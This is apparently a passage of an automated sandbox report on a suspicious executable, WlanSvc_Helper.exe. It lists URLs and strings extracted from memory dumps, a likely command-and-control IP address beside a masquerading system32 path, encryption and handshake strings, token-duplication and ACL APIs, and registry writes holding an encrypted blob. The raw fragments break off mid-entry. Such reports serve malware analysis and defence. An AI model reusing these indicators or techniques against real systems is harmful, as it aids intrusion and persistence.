"00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://167.86.74.11/cloudflare-dns.comhttp://167.86.74.11/cloudflare-dns.comcloudflare-dns.comcloudflare-dns.comcloudflare-dns.com\??\c:\windows\system32\winmgmt_task.exe\??\c:\windows\system32\winmgmt_task.exe\??\c:\windows\system32\winmgmt_task.exemicrosoft" - Source: "00000000-00006464.00000003.144214.48CC8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006464.00000003.144214.48CC8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?0" - Source: "00000000-00006464.00000003.144214.48CC8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006464.00000003.144214.48CC8000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm" - Source: "00000000-00006464.00000003.144214.48CC8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006464.00000003.144214.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006464.00000003.144214.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006464.00000003.144214.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006464.00000003.144214.4B000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crlcloudflare-dns.comthawte" - Source: "00000000-00006464.00000003.144214.4B01C000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006464.00000003.144214.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006464.00000003.144214.4B01C000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006464.00000003.144214.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006464.00000003.144214.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006464.00000003.144214.4B01C000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006464.00000003.144214.4B01C000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ti" - Source: "00000000-00006464.00000003.144214.4B01C000.00000004.mdmp")5b:T623,Found string "ncalrpc" (Indicator: "ncalrpc"; Source: "00000000-00006464.00000001.136789.48C29000.00000004.mdmp, 00000000-00006464.00000001.136789.48CC8000.00000004.mdmp, 00000000-00006464.00000001.136789.4B000000.00000004.mdmp, 00000000-00006464.00000001.136789.4B01C000.00000004.mdmp, 00000000-00006464.00000002.138708.48C29000.00000004.mdmp, 00000000-00006464.00000002.138708.48CC8000.00000004.mdmp, 00000000-00006464.00000002.138708.4B000000.00000004.mdmp, 00000000-00006464.00000002.138708.4B01C000.00000004.mdmp, 00000000-00006464.00000003.144214.48C29000.00000004.mdmp, 00000000-00006464.00000003.144214.48CC8000.00000004.mdmp, 00000000-00006464.00000003.144214.4B000000.00000004.mdmp, 00000000-00006464.00000003.144214.4B01C000.00000004.mdmp") Found string "ncalrpc:[ntsvcs]" (Indicator: "ncalrpc"; Source: "00000000-00006464.00000001.136789.48C48000.00000004.mdmp, 00000000-00006464.00000001.136789.48CC8000.00000004.mdmp, 00000000-00006464.00000001.136789.48CF2000.00000004.mdmp, 00000000-00006464.00000001.136789.4B01C000.00000004.mdmp, 00000000-00006464.00000002.138708.48C48000.00000004.mdmp, 00000000-00006464.00000002.138708.48CC8000.00000004.mdmp, 00000000-00006464.00000002.138708.48CF2000.00000004.mdmp, 00000000-00006464.00000002.138708.4B01C000.00000004.mdmp, 00000000-00006464.00000003.144214.48C29000.00000004.mdmp, 00000000-00006464.00000003.144214.48C48000.00000004.mdmp, 00000000-00006464.00000003.144214.48CC8000.00000004.mdmp, 00000000-00006464.00000003.144214.48CF2000.00000004.mdmp, 00000000-00006464.00000003.144214.4B01C000.00000004.mdmp")5c:T43c,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00006464.00000001.136789.48C29000.00000004.mdmp, 00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C29000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48C29000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00006464.00000001.136789.48C48000.00000004.mdmp, 00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C48000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48C48000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp") Found string "C:\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp")5d:Tae7,"WlanSvc_Helper.exe" called "FindFirstFileA" with parameter %WINDIR%\System32\\* (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter 0409 (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter 69fe178f-26e7-43a9-aa7d-2b616b672dde_eventlogservice.dll (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter 6bea57fb-8dfb-4177-9ae8-42e8b3529933_RuntimeDeviceInstall.dll (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @AdvancedKeySettingsNotification.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @AppHelpToast.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @AudioToastIcon.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @BackgroundAccessToastIcon.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @bitlockertoastimage.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @edptoastimage.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @EnrollmentToastIcon.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @language_notification_icon.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @optionalfeatures.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @StorageSenseToastIcon.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @VpnToastIcon.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @windows-hello-V4.1.gif (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @WindowsHelloFaceToastIcon.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @WindowsUpdateToastIcon.contrast-black.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @WindowsUpdateToastIcon.contrast-white.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @WindowsUpdateToastIcon.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @WirelessDisplayToast.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter @WLOGO_48x48.png (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter aadauthhelper.dll (UID: 00000000-00006464) "WlanSvc_Helper.exe" called "FindNextFileA" with parameter aadcloudap.dll (UID: 00000000-00006464)5e:Ta78,Found string "AESNI" (Indicator: "aes"; File: "WlanSvc_Helper.exe") Found string "C:\vcpkg\buildtrees\cryptopp\src\TOPP_8_9_0-a1a9be497e.clean\chacha_avx.cpp" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "C:\vcpkg\buildtrees\cryptopp\src\TOPP_8_9_0-a1a9be497e.clean\chacha_simd.cpp" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "C:\vcpkg\buildtrees\cryptopp\src\TOPP_8_9_0-a1a9be497e.clean\rijndael_simd.cpp" (Indicator: "rijndael"; File: "WlanSvc_Helper.exe") Found string "ChaChaTLS" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "ChaCha20/Poly1305" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[-] AES Encrypt Error:" (Indicator: "aes"; File: "WlanSvc_Helper.exe") Found string "[-] AES Decrypt Error:" (Indicator: "aes"; File: "WlanSvc_Helper.exe") Found string "[Crypto] EncryptChaCha20: bad key size" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Crypto] EncryptChaCha20: bad nonce size" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Crypto] EncryptChaCha20 error:" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Crypto] DecryptChaCha20: bad key size" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Crypto] DecryptChaCha20: bad nonce size" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Crypto] DecryptChaCha20: bad tag size" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Crypto] DecryptChaCha20: authentication failed (tag mismatch)" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Crypto] DecryptChaCha20 error:" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[SRE-Tier1] TXT data contains invalid base64 chars after xip= prefix" (Indicator: "base64"; File: "WlanSvc_Helper.exe") Found string "[FrameCodec] Encode: ChaCha20 encryption failed" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[FrameCodec] Decode: ChaCha20 authentication failed" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Handshake] ECIES: ChaCha20 encryption failed" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[Handshake] ECIES decrypt: ChaCha20 authentication failed" (Indicator: "chacha"; File: "WlanSvc_Helper.exe") Found string "[PKSF] AES-256-GCM encryption failed" (Indicator: "aes"; File: "WlanSvc_Helper.exe") Found string "[PKSF] AES-256-GCM decryption OK" (Indicator: "aes"; File: "WlanSvc_Helper.exe") Found string "[PKSF] AES-GCM authentication failed" (Indicator: "aes"; File: "WlanSvc_Helper.exe") Found string "[RBv2] AES key derivation failed" (Indicator: "aes"; File: "WlanSvc_Helper.exe")5f:T9ea,Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "WlanSvc_Helper.exe") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "WlanSvc_Helper.exe") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "WlanSvc_Helper.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "WlanSvc_Helper.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "WlanSvc_Helper.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "WlanSvc_Helper.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "WlanSvc_Helper.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "WlanSvc_Helper.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "WlanSvc_Helper.exe") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "WlanSvc_Helper.exe") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")60:T5cb,Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00006464.00000000.134867.48C13000.00000004.mdmp, 00000000-00006464.00000000.134867.48D00000.00000004.mdmp, 00000000-00006464.00000001.136789.48C13000.00000004.mdmp, 00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000001.136789.48CF2000.00000004.mdmp, 00000000-00006464.00000002.138708.48C13000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48CF2000.00000004.mdmp, 00000000-00006464.00000003.144214.48C13000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48CF2000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00006464.00000000.134867.48C13000.00000004.mdmp, 00000000-00006464.00000000.134867.48D00000.00000004.mdmp, 00000000-00006464.00000001.136789.48C13000.00000004.mdmp, 00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000001.136789.48CF2000.00000004.mdmp, 00000000-00006464.00000002.138708.48C13000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48CF2000.00000004.mdmp, 00000000-00006464.00000003.144214.48C13000.00000004.mdmp, 00000000-00006464.00000003.144214.48C5B000.00000004.mdmp, 00000000-00006464.00000003.144214.48CF2000.00000004.mdmp")61:Ted1,Found reference to API "SetKernelObjectSecurity" (Indicator: "SetKernelObjectSecurity"; File: "WlanSvc_Helper.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "WlanSvc_Helper.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "WlanSvc_Helper.exe") Found reference to API "GetAce" (Indicator: "GetAce"; File: "WlanSvc_Helper.exe") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "WlanSvc_Helper.exe") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "WlanSvc_Helper.exe") Found reference to API "SetSecurityDescriptorControl" (Indicator: "SetSecurityDescriptorControl"; File: "WlanSvc_Helper.exe") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "WlanSvc_Helper.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "WlanSvc_Helper.exe") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "WlanSvc_Helper.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "WlanSvc_Helper.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "WlanSvc_Helper.exe") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "WlanSvc_Helper.exe") Found reference to API "GetKernelObjectSecurity" (Indicator: "GetKernelObjectSecurity"; File: "WlanSvc_Helper.exe") Found reference to API "[PROC] A VerifyProtection GetKernelObjectSecurity FAILED err=%lu" (Indicator: "GetKernelObjectSecurity"; File: "WlanSvc_Helper.exe") Found reference to API "[PROC] A VerifyProtection GetKernelObjectSecurity size=0 err=%lu" (Indicator: "GetKernelObjectSecurity"; File: "WlanSvc_Helper.exe") Found reference to API "[PROC] A SetEntriesInAclW FAILED err=%lu" (Indicator: "SetEntriesInAcl"; File: "WlanSvc_Helper.exe") Found reference to API "[PROC] A VerifyProtection GetKernelObjectSecurity FAILED err=%lu" (Indicator: "GetKernelObjectSecurity"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[PROC] A VerifyProtection GetKernelObjectSecurity size=0 err=%lu" (Indicator: "GetKernelObjectSecurity"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[PROC] A SetEntriesInAclW FAILED err=%lu" (Indicator: "SetEntriesInAcl"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[PROC] A SetKernelObjectSecurity FAILED err=%lu" (Indicator: "SetKernelObjectSecurity"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "SetSecurityDescriptorControl" (Indicator: "SetSecurityDescriptorControl"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "SetKernelObjectSecurity" (Indicator: "SetKernelObjectSecurity"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetKernelObjectSecurity" (Indicator: "GetKernelObjectSecurity"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")62:T791,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: WlanSvc_Helper.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: WlanSvc_Helper.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: WlanSvc_Helper.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: WlanSvc_Helper.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: WlanSvc_Helper.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: WlanSvc_Helper.exe] Observed import api "GetKernelObjectSecurity" which can "retrieve a copy of the security descriptor that protects a kernel object" [Source: WlanSvc_Helper.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: WlanSvc_Helper.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: WlanSvc_Helper.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: WlanSvc_Helper.exe] Observed import api "SetKernelObjectSecurity" which can "set the security of a kernel object" [Source: WlanSvc_Helper.exe] Observed import api "SetSecurityDescriptorControl" which can "set the control bits of a security descriptor" [Source: WlanSvc_Helper.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: WlanSvc_Helper.exe]63:T8c2,"WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGFLAGS"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "WlanSvc_Helper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "")64:T726,"WlanSvc_Helper.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{018D5C66-4533-4307-9C53-C5A2D3F8B4E1}\PROPERTYBAG"; Key: "STORAGEINDEX"; Value: "01000000D08C9DDF0115D1118C7A00C04FC297EB010000005C8C592F68F2F2428F561A9640984ACD040000000200000000001066000000010000200000000CF9E9DE480C1AAAC4A391B0AD19591B850F4BBA2459D91C0D6C59C9A6535FE7000000000E8000000002000020000000D978139E321E47F93392BD0537AF6D8B62FCFD1BF03DF2444DE96A5F6CB124B980000000C8F78D6E7AE0DF41E9EE4F94A33BB0D4754A44A58BECE84F00D4E1BA46BE68F24527933D24A4A48AADDFF63179DC94B4449841B8C62E0CE9E8514B4E57E1E951AE1FC93D132F6917DCF415E3AF331D345EE9D577D7E490CDE6D0298B56C295D8E77F9308A7366D88E6AEB8980D93985D93509D31BE02DF07749F508E4411EE5A400000003BD655AE49DEDAD3785DD85806F325981EE7AEB577771D65B5093259B3E86A6D9C161903C2F8BE7B00746CF039521AA2AD679B073C24BDE7A11FBEC8DE943389EB97DA41D41A8AD23562947C0EC874CCEF391915BEFAEDF65BDE7D6E84DC100200") "WlanSvc_Helper.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{018D5C66-4533-4307-9C53-C5A2D3F8B4E1}\PROPERTYBAG"; Key: "STORAGEINDEX"; Value: 